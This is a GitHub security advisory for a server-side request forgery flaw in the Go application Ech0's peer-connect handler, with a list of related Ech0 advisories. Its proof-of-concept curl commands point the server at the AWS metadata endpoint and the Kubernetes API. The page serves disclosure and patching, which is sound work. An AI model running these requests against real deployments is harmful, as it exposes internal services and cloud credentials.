GHSA-8mc6-xjpr-h98x: Ech0 has Server-Side Request Forgery (SSRF) via Connect Handler fetchPeerConnectInfo
Summary The fetchPeerConnectInfo function in internal/service/connect/connect.go:214-239 uses httpUtil.SendRequest (no SSRF protection) instead of SendSafeRequest (which has ValidatePublicHTTPURL with private IP blocking). This allows authenticated users to make the server request arbitrary URLs including internal/cloud metadata endpoints.
Published May 7, 2026
Affected packages
github.com/lin-snow/ech0
- Ecosystem
- Go
- Affected
- < 1.4.8-0.20260503040602-091d26d2d942
- Fixed in
- 1.4.8-0.20260503040602-091d26d2d942
- Check
go list -m github.com/lin-snow/ech0
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
The fetchPeerConnectInfo function in internal/service/connect/connect.go:214-239 uses httpUtil.SendRequest (no SSRF protection) instead of SendSafeRequest (which has ValidatePublicHTTPURL with private IP blocking). This allows authenticated users to make the server request arbitrary URLs including internal/cloud metadata endpoints.
Details
In internal/service/connect/connect.go, the fetchPeerConnectInfo function:
func fetchPeerConnectInfo(peerConnectURL string, requestTimeout time.Duration) (model.Connect, error) {
url := httpUtil.TrimURL(peerConnectURL) + "/api/connect"
resp, err := httpUtil.SendRequest(url, "GET", struct {...}{...}, requestTimeout)This uses SendRequest which has NO URL validation. The codebase HAS SendSafeRequest at internal/util/http/http.go:228-281 with proper SSRF protection, but fetchPeerConnectInfo does not use it.
Called from:
- Line 307:
data, err := fetchPeerConnectInfo(conn.ConnectURL, requestTimeout) - - Line 498:
data, err := fetchPeerConnectInfo(conn.ConnectURL, healthProbeTimeout)
PoC
# 1. Add a connection pointing to AWS metadata service
curl -X POST "https://ech0.example.com/api/connects" \
-H "Authorization: Bearer <token>" \
-d '{"connect_url": "http://169.254.169.254/latest/meta-data/instance-id"}'
# 2. Trigger SSRF via health check
curl -H "Authorization: Bearer <token>" \
"https://ech0.example.com/api/connects/health"
# Returns AWS EC2 instance IDOr for Kubernetes:
curl -X POST "https://ech0.example.com/api/connects" \
-H "Authorization: Bearer <token>" \
-d '{"connect_url": "http://kubernetes.default.svc.cluster.local:443/api"}'Impact
- Confidentiality: SSRF can access internal services, cloud metadata (AWS IMDSv1, GCE metadata), Kubernetes API
- - CWE-918: Server-Side Request Forgery
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More Go vulnerabilities
All Go entriesGHSA-mqxv-9rm6-w8qc
Ech0: ParseAcceptLanguage `_` separator bypass enables ~70x CPU amplification via Accept-Language header in i18n.Middleware
high8.7No fixJul 14, 2026GHSA-rgj7-vg8v-j4wr
Ech0's Unauthenticated Like Endpoint Enables Arbitrary Engagement Metric Inflation
medium5.3May 7, 2026GHSA-4h9q-p5j4-xvvh
Ech0: Scoped admin access tokens can bypass least-privilege controls on privileged endpoints, including backup export
high7.6Apr 10, 2026GHSA-69hx-63pv-f8f4
Ech0 has Stored XSS via SVG Upload and Content-Type Validation Bypass in File Upload
medium4.8Apr 10, 2026GHSA-cp79-9mwr-wr49
Ech0: Missing authorization on dashboard log endpoints allows low-privilege users to access sensitive system logs
medium6.5Apr 10, 2026GHSA-fwg7-53p4-g33c
Ech0 Comment Panel Endpoints Missing RequireScopes Middleware — Scoped Access Token Bypass
medium5.5Apr 10, 2026
